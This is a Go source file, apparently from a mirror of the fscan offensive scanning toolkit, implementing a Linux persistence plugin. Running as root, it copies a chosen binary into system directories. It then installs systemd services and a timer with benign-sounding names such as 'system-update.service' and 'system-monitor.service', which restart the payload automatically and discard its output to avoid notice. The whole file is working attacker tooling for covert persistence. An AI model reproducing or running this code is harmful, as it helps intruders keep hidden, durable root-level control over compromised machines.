mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构, 大幅减少代码重复和维护成本,提升插件开发效率。 主要改进: • 将每个服务插件从3个文件简化为1个文件 • 删除过度设计的工厂模式、适配器模式等抽象层 • 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构 • 实现直接的插件注册机制,提升系统简洁性 • 保持完全向后兼容,所有扫描功能和输出格式不变 重构统计: • 删除文件:100+个复杂架构文件 • 新增文件:20个简化的单文件插件 • 代码减少:每个插件减少60-80%代码量 • 功能增强:所有插件包含完整扫描和利用功能 已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle, Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP, Rsync, SMTP, SNMP, Telnet, VNC 验证通过: 新系统编译运行正常,所有插件功能验证通过
490 lines
13 KiB
Go
490 lines
13 KiB
Go
//go:build linux
|
||
|
||
package systemdservice
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"os"
|
||
"os/exec"
|
||
"path/filepath"
|
||
"runtime"
|
||
"strings"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"github.com/shadow1ng/fscan/plugins/local"
|
||
)
|
||
|
||
// SystemdServicePlugin 系统服务持久化插件 - 使用简化架构
|
||
type SystemdServicePlugin struct {
|
||
*local.BaseLocalPlugin
|
||
targetFile string
|
||
}
|
||
|
||
// NewSystemdServicePlugin 创建系统服务持久化插件 - 简化版本
|
||
func NewSystemdServicePlugin() *SystemdServicePlugin {
|
||
// 从全局参数获取目标文件路径
|
||
targetFile := common.PersistenceTargetFile
|
||
if targetFile == "" {
|
||
targetFile = "" // 需要用户指定
|
||
}
|
||
|
||
metadata := &base.PluginMetadata{
|
||
Name: "systemdservice",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "Linux 系统服务持久化插件,通过systemd服务实现持久化",
|
||
Category: "local",
|
||
Tags: []string{"local", "persistence", "linux", "systemd", "service"},
|
||
Protocols: []string{"local"},
|
||
}
|
||
|
||
plugin := &SystemdServicePlugin{
|
||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||
targetFile: targetFile,
|
||
}
|
||
|
||
// 只支持Linux平台
|
||
plugin.SetPlatformSupport([]string{"linux"})
|
||
// 需要root权限来创建系统服务
|
||
plugin.SetRequiresPrivileges(true)
|
||
|
||
return plugin
|
||
}
|
||
|
||
// Initialize 初始化插件
|
||
func (p *SystemdServicePlugin) Initialize() error {
|
||
if p.targetFile == "" {
|
||
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
|
||
}
|
||
|
||
// 检查目标文件是否存在
|
||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
|
||
}
|
||
|
||
// 检查systemctl是否可用
|
||
if _, err := exec.LookPath("systemctl"); err != nil {
|
||
return fmt.Errorf("systemctl命令不可用: %v", err)
|
||
}
|
||
|
||
return p.BaseLocalPlugin.Initialize()
|
||
}
|
||
|
||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
return p.ScanLocal(ctx, info)
|
||
}
|
||
|
||
// ScanLocal 执行系统服务持久化 - 简化版本
|
||
func (p *SystemdServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
if runtime.GOOS != "linux" {
|
||
return &base.ScanResult{
|
||
Success: false,
|
||
Error: fmt.Errorf("系统服务持久化只支持Linux平台"),
|
||
}, nil
|
||
}
|
||
|
||
common.LogBase("开始系统服务持久化...")
|
||
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
|
||
|
||
// 执行持久化操作
|
||
results := make([]string, 0)
|
||
|
||
// 1. 复制文件到系统目录
|
||
servicePath, err := p.copyToServicePath()
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath))
|
||
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", servicePath))
|
||
}
|
||
|
||
// 2. 创建systemd服务文件
|
||
serviceFiles, err := p.createSystemdServices(servicePath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("创建systemd服务失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", ")))
|
||
common.LogSuccess("已创建systemd服务")
|
||
}
|
||
|
||
// 3. 启用并启动服务
|
||
err = p.enableAndStartServices(serviceFiles)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("启动服务失败: %v", err))
|
||
} else {
|
||
results = append(results, "服务已启用并启动")
|
||
common.LogSuccess("服务已启用并启动")
|
||
}
|
||
|
||
// 4. 创建用户级服务
|
||
userServiceFiles, err := p.createUserServices(servicePath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("创建用户服务失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", ")))
|
||
common.LogSuccess("已创建用户服务")
|
||
}
|
||
|
||
// 5. 创建定时器服务
|
||
err = p.createTimerServices(servicePath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("创建定时器服务失败: %v", err))
|
||
} else {
|
||
results = append(results, "已创建systemd定时器")
|
||
common.LogSuccess("已创建systemd定时器")
|
||
}
|
||
|
||
success := len(results) > 0
|
||
|
||
result := &base.ScanResult{
|
||
Success: success,
|
||
Service: "SystemdServicePersistence",
|
||
Banner: fmt.Sprintf("系统服务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
|
||
Extra: map[string]interface{}{
|
||
"target_file": p.targetFile,
|
||
"platform": runtime.GOOS,
|
||
"methods": results,
|
||
"status": "completed",
|
||
},
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// copyToServicePath 复制文件到服务目录
|
||
func (p *SystemdServicePlugin) copyToServicePath() (string, error) {
|
||
// 选择服务目录
|
||
serviceDirs := []string{
|
||
"/usr/local/bin",
|
||
"/opt/local",
|
||
"/usr/bin",
|
||
}
|
||
|
||
var targetDir string
|
||
for _, dir := range serviceDirs {
|
||
if err := os.MkdirAll(dir, 0755); err == nil {
|
||
targetDir = dir
|
||
break
|
||
}
|
||
}
|
||
|
||
if targetDir == "" {
|
||
return "", fmt.Errorf("无法创建服务目录")
|
||
}
|
||
|
||
// 生成服务可执行文件名
|
||
basename := filepath.Base(p.targetFile)
|
||
serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
|
||
if serviceName == "" {
|
||
serviceName = "system-service"
|
||
}
|
||
|
||
targetPath := filepath.Join(targetDir, serviceName)
|
||
|
||
// 复制文件
|
||
err := p.copyFile(p.targetFile, targetPath)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
|
||
// 设置执行权限
|
||
os.Chmod(targetPath, 0755)
|
||
|
||
return targetPath, nil
|
||
}
|
||
|
||
// copyFile 复制文件内容
|
||
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
|
||
sourceData, err := os.ReadFile(src)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
return os.WriteFile(dst, sourceData, 0755)
|
||
}
|
||
|
||
// createSystemdServices 创建systemd服务文件
|
||
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
|
||
systemDir := "/etc/systemd/system"
|
||
if err := os.MkdirAll(systemDir, 0755); err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
services := []struct {
|
||
name string
|
||
content string
|
||
enable bool
|
||
}{
|
||
{
|
||
name: "system-update.service",
|
||
enable: true,
|
||
content: fmt.Sprintf(`[Unit]
|
||
Description=System Update Service
|
||
After=network.target
|
||
Wants=network-online.target
|
||
|
||
[Service]
|
||
Type=simple
|
||
User=root
|
||
ExecStart=%s
|
||
Restart=always
|
||
RestartSec=60
|
||
StandardOutput=null
|
||
StandardError=null
|
||
|
||
[Install]
|
||
WantedBy=multi-user.target
|
||
`, execPath),
|
||
},
|
||
{
|
||
name: "system-monitor.service",
|
||
enable: true,
|
||
content: fmt.Sprintf(`[Unit]
|
||
Description=System Monitor Service
|
||
After=network.target
|
||
|
||
[Service]
|
||
Type=forking
|
||
User=root
|
||
ExecStart=%s
|
||
PIDFile=/var/run/system-monitor.pid
|
||
Restart=on-failure
|
||
StandardOutput=null
|
||
StandardError=null
|
||
|
||
[Install]
|
||
WantedBy=multi-user.target
|
||
`, execPath),
|
||
},
|
||
{
|
||
name: "network-check.service",
|
||
enable: false,
|
||
content: fmt.Sprintf(`[Unit]
|
||
Description=Network Check Service
|
||
After=network-online.target
|
||
Wants=network-online.target
|
||
|
||
[Service]
|
||
Type=oneshot
|
||
User=root
|
||
ExecStart=%s
|
||
StandardOutput=null
|
||
StandardError=null
|
||
`, execPath),
|
||
},
|
||
}
|
||
|
||
var created []string
|
||
for _, service := range services {
|
||
servicePath := filepath.Join(systemDir, service.name)
|
||
if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
|
||
created = append(created, service.name)
|
||
}
|
||
}
|
||
|
||
if len(created) == 0 {
|
||
return nil, fmt.Errorf("无法创建任何systemd服务文件")
|
||
}
|
||
|
||
return created, nil
|
||
}
|
||
|
||
// enableAndStartServices 启用并启动服务
|
||
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
|
||
var errors []string
|
||
|
||
for _, serviceName := range serviceFiles {
|
||
// 重新加载systemd配置
|
||
exec.Command("systemctl", "daemon-reload").Run()
|
||
|
||
// 启用服务
|
||
if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
|
||
errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
|
||
}
|
||
|
||
// 启动服务
|
||
if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
|
||
errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
|
||
}
|
||
}
|
||
|
||
if len(errors) > 0 {
|
||
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
|
||
}
|
||
|
||
return nil
|
||
}
|
||
|
||
// createUserServices 创建用户级服务
|
||
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
|
||
userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
||
if userDir == "/.config/systemd/user" { // HOME为空的情况
|
||
userDir = "/tmp/.config/systemd/user"
|
||
}
|
||
|
||
if err := os.MkdirAll(userDir, 0755); err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
userServices := []string{
|
||
"user-service.service",
|
||
"background-task.service",
|
||
}
|
||
|
||
userServiceContent := fmt.Sprintf(`[Unit]
|
||
Description=User Background Service
|
||
After=graphical-session.target
|
||
|
||
[Service]
|
||
Type=simple
|
||
ExecStart=%s
|
||
Restart=always
|
||
RestartSec=30
|
||
StandardOutput=null
|
||
StandardError=null
|
||
|
||
[Install]
|
||
WantedBy=default.target
|
||
`, execPath)
|
||
|
||
var created []string
|
||
for _, serviceName := range userServices {
|
||
servicePath := filepath.Join(userDir, serviceName)
|
||
if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
|
||
created = append(created, serviceName)
|
||
|
||
// 启用用户服务
|
||
exec.Command("systemctl", "--user", "enable", serviceName).Run()
|
||
exec.Command("systemctl", "--user", "start", serviceName).Run()
|
||
}
|
||
}
|
||
|
||
return created, nil
|
||
}
|
||
|
||
// createTimerServices 创建定时器服务
|
||
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
|
||
systemDir := "/etc/systemd/system"
|
||
|
||
// 创建定时器服务文件
|
||
timerService := fmt.Sprintf(`[Unit]
|
||
Description=Scheduled Task Service
|
||
Wants=scheduled-task.timer
|
||
|
||
[Service]
|
||
Type=oneshot
|
||
ExecStart=%s
|
||
StandardOutput=null
|
||
StandardError=null
|
||
`, execPath)
|
||
|
||
// 创建定时器文件
|
||
timerConfig := `[Unit]
|
||
Description=Run Scheduled Task Every 10 Minutes
|
||
Requires=scheduled-task.service
|
||
|
||
[Timer]
|
||
OnBootSec=5min
|
||
OnUnitActiveSec=10min
|
||
AccuracySec=1s
|
||
|
||
[Install]
|
||
WantedBy=timers.target
|
||
`
|
||
|
||
// 写入服务文件
|
||
serviceFile := filepath.Join(systemDir, "scheduled-task.service")
|
||
if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
|
||
return err
|
||
}
|
||
|
||
// 写入定时器文件
|
||
timerFile := filepath.Join(systemDir, "scheduled-task.timer")
|
||
if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
|
||
return err
|
||
}
|
||
|
||
// 启用定时器
|
||
exec.Command("systemctl", "daemon-reload").Run()
|
||
exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
|
||
exec.Command("systemctl", "start", "scheduled-task.timer").Run()
|
||
|
||
return nil
|
||
}
|
||
|
||
// GetLocalData 获取系统服务持久化本地数据
|
||
func (p *SystemdServicePlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||
data := make(map[string]interface{})
|
||
|
||
data["plugin_type"] = "systemdservice"
|
||
data["platform"] = runtime.GOOS
|
||
data["target_file"] = p.targetFile
|
||
data["persistence_method"] = "Systemd Service"
|
||
|
||
if hostname, err := os.Hostname(); err == nil {
|
||
data["hostname"] = hostname
|
||
}
|
||
|
||
// 检查systemd版本
|
||
if output, err := exec.Command("systemctl", "--version").Output(); err == nil {
|
||
data["systemd_version"] = strings.Split(string(output), "\n")[0]
|
||
}
|
||
|
||
return data, nil
|
||
}
|
||
|
||
// ExtractData 提取数据
|
||
func (p *SystemdServicePlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||
return &base.ExploitResult{
|
||
Success: true,
|
||
Output: fmt.Sprintf("系统服务持久化完成,目标文件: %s", p.targetFile),
|
||
Data: data,
|
||
Extra: map[string]interface{}{
|
||
"target_file": p.targetFile,
|
||
"persistence_method": "Systemd Service",
|
||
"status": "completed",
|
||
},
|
||
}, nil
|
||
}
|
||
|
||
// GetInfo 获取插件信息
|
||
func (p *SystemdServicePlugin) GetInfo() string {
|
||
var info strings.Builder
|
||
|
||
info.WriteString("系统服务持久化插件\n")
|
||
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
|
||
info.WriteString("支持平台: Linux (需要systemd)\n")
|
||
info.WriteString("功能: 通过systemd服务实现持久化\n")
|
||
info.WriteString("方法: 系统服务、用户服务、定时器服务\n")
|
||
info.WriteString("权限要求: 需要root权限创建系统服务\n")
|
||
info.WriteString("自动启动: 开机自启动和崩溃重启\n")
|
||
|
||
return info.String()
|
||
}
|
||
|
||
// RegisterSystemdServicePlugin 注册系统服务持久化插件
|
||
func RegisterSystemdServicePlugin() {
|
||
factory := base.NewSimplePluginFactory(
|
||
&base.PluginMetadata{
|
||
Name: "systemdservice",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "Linux 系统服务持久化插件,通过systemd服务实现持久化",
|
||
Category: "local",
|
||
Tags: []string{"systemdservice", "local", "persistence", "linux"},
|
||
Protocols: []string{"local"},
|
||
},
|
||
func() base.Plugin {
|
||
return NewSystemdServicePlugin()
|
||
},
|
||
)
|
||
|
||
base.GlobalPluginRegistry.Register("systemdservice", factory)
|
||
}
|
||
|
||
// init 插件注册函数
|
||
func init() {
|
||
RegisterSystemdServicePlugin()
|
||
} |